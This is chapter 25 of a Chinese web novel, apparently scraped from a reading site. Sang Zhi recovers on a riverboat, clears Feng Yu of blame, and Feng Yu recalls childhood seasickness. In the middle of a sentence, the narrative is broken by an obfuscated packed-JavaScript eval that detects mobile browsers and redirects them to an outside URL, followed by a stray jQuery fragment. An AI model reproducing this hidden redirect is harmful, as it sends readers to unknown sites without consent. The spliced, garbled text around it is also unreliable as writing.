25. 第 25 章
作品:《师妹她倒反天罡》 蓝衫公子坐在床边,眉间紧皱盯着女子的脸。他守在床边一夜未睡,整个人都显着疲态。在半个时辰前大夫就说她快醒了,如今却一丝转醒的意思都没有。她失了血脸庞煞白,气息也比往常要弱,他就这样看着便十分揪心。
似乎终于等不住了,他将女子的手放回床上,起身走到房外对身边人吩咐:“再让大夫来一趟。”
下人立马退下去找人了,张垚转过身望着床上的人深深叹口气。床上女子柔弱无力的手搭在锦被上微颤了一下,他一怔差点以为自己看错了,然后快步冲过去。
那女子徐缓地睁眼双眼,看到他焦心如焚的模样,动了动唇:“怎么了?”
桑芷脑中一片空白,有些记不清昨晚的事,只听张垚说是有人害她。她怀着孕身体又虚弱,张垚便让她不要想这些,让她多躺着休息。
他帮她掖好被子,嘱咐了几句。船上许多事都在等他处理,他不能一直守在她身边。
正准备出门时,来了三位不速之客。
张垚的脸顿时黑了几分,念在桑芷刚醒不愿在她面前起冲突,正准备把人轰出去。
为首的少年不乐意地翻了个白眼,大喊道:“也不能让我们玉师妹平白无故受栽赃啊,不是说人醒了,那就听听人家姑娘怎么说。”
桑芷往门外探头看去,见张垚看了自己一眼,说:“与我有关吗?”
她说话向来轻声细语,从不愿意与人起争执,张垚想了想,自己不在时她若被这几人再欺负便糟了,于是才肯把人放进门。
看到少女迈步进来的身影时,桑芷似乎回想起一些。
她看逢玉,逢玉自然也在看她,桑芷斜躺在床上一副弱不禁风的模样,逢玉抿紧了唇。
“阿芷,你还记得昨晚的事吗?”张垚扶桑芷坐起,轻声问道。
桑芷望着少女,她身材娇小,看着年纪不大但五官生的很是好看,一袭白裙如出水芙蓉般让人眼前一亮。她也正看着自己,可目光一触,那明净的眼神竟有些躲闪。
侧里走出一人身姿挺拔,似有玉树之姿,比身后那少年看着稳重许多,不过神情略显冷淡。
桑芷只听他声音如泉水般清寒:“桑姑娘,昨夜你晕倒在船上动了胎气,是我师妹喊人来救你。但张公子一口咬定你是被她所害,所以昨夜究竟发生了何事?”
张垚看着她,眼神中也都是询问。
桑芷低头细细回想一番。
“昨夜......”桑芷轻蹙眉头,轻声道,“我记得站在船头,当时一个浪打过来没有站稳,险些栽进水里,是这位姑娘救了我。”
张垚应是关心则乱,若说出实情会折了他的面子,但平白冤枉人总是不妥。她的手慢慢放在腹部:“撞船时我已经感觉到不适,若不是她拦下我便是一尸两命了。”
桑芷家中也行商,未出嫁前也常跟着父亲坐船,夜间有人掉进江海里是常有的事,第二天发现人失踪时也只剩惋惜,连尸首也寻不到。
她脸上抱愧色,眼神看向三人:“垚弟是担心我,并不是有意为难几位,还望见谅。”
逢玉来之前都以为是自己抱她时伤到了她,却未想到是她站不稳时撞到了小腹才出了这回事。如今她听完,心里松了口气。
了解完事情经过,张垚的表情开始变化。
阿芷先帮自己道了歉,他身为船主又是男子,对自己犯下的错自该一力承担,于是站起身来向着几人鞠了一躬拱拳说:“昨夜确是我未查明事情原委冤枉了姑娘,也打扰了诸位,张垚在此给各位赔不是了。”
见他道歉得干脆,尚子旸脸色终于好一些。张垚允他们师兄妹三人上船,虽是付钱的但尚子旸对他是心存感激的,见他性格温良更是多了几分好感,没想到昨夜遇到桑姑娘的事便换了个人,不分青红皂白便污蔑人,所以无论如何他还是要刺他一句。
他大掌一挥:“事情水落石出那便没事了,但希望下次张二公子一定要查清后再下定论,不要平白冤枉了好人。”
“公子说的是,张垚谨记。”
大夫刚巧刚来为桑芷诊脉,三人便退了出去。
如今正值清晨,船工们开始在船头船尾忙活,尚子旸跟着东宫洺走出船舱,江上习风阵阵,迎着微凉的晨风尚子旸伸了下懒腰,后日他们就能到达沛城。
忽然他像是想起了什么,走上前与东宫洺并排:“阿洺,你有没有觉得桑姑娘有些古怪?”
东宫洺看了他一眼,用眼神询问。
正巧有人经过,尚子旸侧头捂嘴说:“船上人人都称她姑娘,那她腹中的孩子是哪里来的?”
东宫洺垂眸,最后淡淡道:“与我们无关,不必细究。”
两人对话在后面的逢玉听得一清二楚,尚子旸所说的她之前的确没有注意,如今想起来很是奇怪,看似桑芷与张垚相熟,称他为“垚弟”,但她又不是张家人,而且怀有身孕,孤身一人坐船又要去哪儿?
昨夜她站在船头时的身影没由来的增了几分悲凉,那个时辰已至深夜,船上大多数人都已熟睡,她手无缚鸡之力为何又在深夜时分出船舱呢?
“好饿啊,”前方的少年说道,他转头看逢玉,眼睛笑成一条缝,“玉师妹饿不饿,一会儿靠岸我们去逛逛吧。”
待到正午时,船只终于在晖州城靠岸,船工们开始忙着卸货,一个时辰之后船便会启程。除了他们三人之外,船上还有其他顺路的客人,停船的港口很靠近晖州城,在船上待了一天一夜都想下去沾沾地气,于是纷纷下了船。
正午时分街上人并不算多,三人在城里吃了饭便在街上逛了一会儿,就当是饭后消食。逢玉抱怀走在最后面,尚子旸冲在最前面,他仍旧是大摊小摊都不放过,但花钱却不似之前大手大脚,多数看看便走了。
逢玉抬头看距离自己两三步远的东宫洺,他只默默走着,比在船上沉默得多。这几天他说话最多的两次,都是因为她自己。
逢玉垂眸,黑黑的一团影子就投在她脚前,连她也不知是为何,三两步便追了上去,脚正好踩到他的“头”。逢玉勾唇笑了,脚步便一直追着影子跑,在影子静止前竟然没能收住脚。
东宫洺被人撞了一下,他转头看,逢玉扯了下嘴角别过了脸。
“怎么了?”
他低声问,眼神落在她额边的轻轻晃动的柔软碎发上,发丝有几根与细长的睫毛纠缠在一起,她猛地闭了下眼。
再睁眼时,逢玉眼眶便有些红了,黑白分明的眼睛被蒙上一层水汽。
东宫洺下意识的抬手,见她摇摇头,停时眼睛已清明许多。
逢玉说:“没事。”
东宫洺缓缓放下手,冷清地“嗯”了一声,转身继续往前走了。
逢玉此时才伸手揉揉眼,终于不痒了。
她转头朝一处看去,只是一个面摊,一闪而过的黑影仿佛是她的错觉。
晖州城比之前的漓州城小了一半,算是缩小版的漓州城,一个是时辰还没到,三人就从城南
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365631|180460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走到了城北,返回后直接回了船。
船工正在船头船尾进行收尾工作,张垚站在桅杆下面指挥着,见他们三人微微颔首。从昨晚到今日,张垚先是为了桑芷责怪逢玉,后清楚事情真相后不卑不亢地向她道歉,一番折腾下来,逢玉对他的反倒印象好了些。
开船时逢玉先回了船舱,虽说晕船的症状好了许多,她还是选择回房躺会儿。经过桑芷房间时,门正开着,女子披了件外衫坐在窗前,窗外则是滚滚江水。
“逢姑娘。”或许她听到了逢玉的脚步声,在人错过门口前转头跟逢玉打了声招呼。
逢玉脚步停下,微微点头:“桑姑娘。”
桑芷脸上带着笑,一双梨涡清浅,看着精神比早上好了许多,可是逢玉总觉得她那双眼睛中有说不出的愁绪。
桑芷还在看她,逢玉抬步的动作顿住,转而往房间里走去。
“你们下船了吗?”桑芷示意她坐在自己身边。
逢玉:“下了,桑姑娘没下吗?”
桑芷收回眼神望着窗外,轻轻地摇头:“昨夜吓到姑娘了吧?”
逢玉想她说的应该是她失血晕倒的事,跟她大晚上孤零零地站在船头差点掉下船相比,惊吓程度不相上下。
逢玉的眼神淡淡扫过她的小腹,桑芷今日穿着虽宽松,但手在腹部下面拖着,能看出微微隆起的模样。按理说她怀孕三月胎气稳重,多下地走走应当更有益处,可桑芷似乎多数时候都在房间内待着,看她表现也不晕船。
震耳的鸣锣声传来,船晃了一下,逢玉抓住桌角往外看,岸上的景物正缓缓向后移。
桑芷问:“逢姑娘晕船吗?”
逢玉眨了下眼睛,好奇她是如何看出来的。
桑芷笑:“我见你开船的时候有些慌张,眉头接着便皱起来,想你是晕船的,昨夜便是出去透气的吧?”
她表现的这样明显么。逢玉的手又放回膝上,说了声“是”。
“我小时候刚坐船时也会晕,后面慢慢就习惯了,逢姑娘在船上待几日?想必过两天便习以为常了。”
“桑姑娘小时候经常坐船吗?”逢玉问她。
桑芷点着头,说:“我家也行商,只是不如张家生意这般大罢了......”她说着说着垂下头去,声音也跟着低了下去。
窗外景物变换,逢玉沉默地看着,其实小时候她也坐过船。
小渔村就在海边,村里有十几户人家都以打渔为生。阿爹偶尔也会去海上,阿娘多数时候在家里做手工,将鱼骨、贝壳等打磨成各种形状的饰品,等到赶集时阿爹就带着东西去卖掉。
小逢玉看村子里其他孩子都跟着家里人去打渔,死缠烂打地让阿爹带着自己去。那是她第一次跟着阿爹到海上,还没到六岁。
阿爹拿着桨在前面划船,逢玉缩着身子坐在船中间。阿爹见了就笑她胆子小,逢玉不服气,刚要站起来就趴在船边吐了。这时候阿爹才意识到小逢玉晕船,连忙掉头回岸,逢玉便逞能地喊“不许回”,她非要证明自己胆子大,再度站起来后一头栽了下去。
阿爹哭笑不得地把她提溜起来,两人回家被阿娘数落了一顿。
逢玉换了衣服,阿爹在旁边帮她擦头发。她小声地跟阿爹说下次瞒着阿娘再带她一次,阿爹连连摇头说“不敢”,他把着逢玉腋下把她举过头顶说:“我们小阿音跟阿娘一样,都晕船啊。”
屋内阿娘便回怼了一句,说得什么逢玉没听清,只跟着阿爹一起偷偷笑。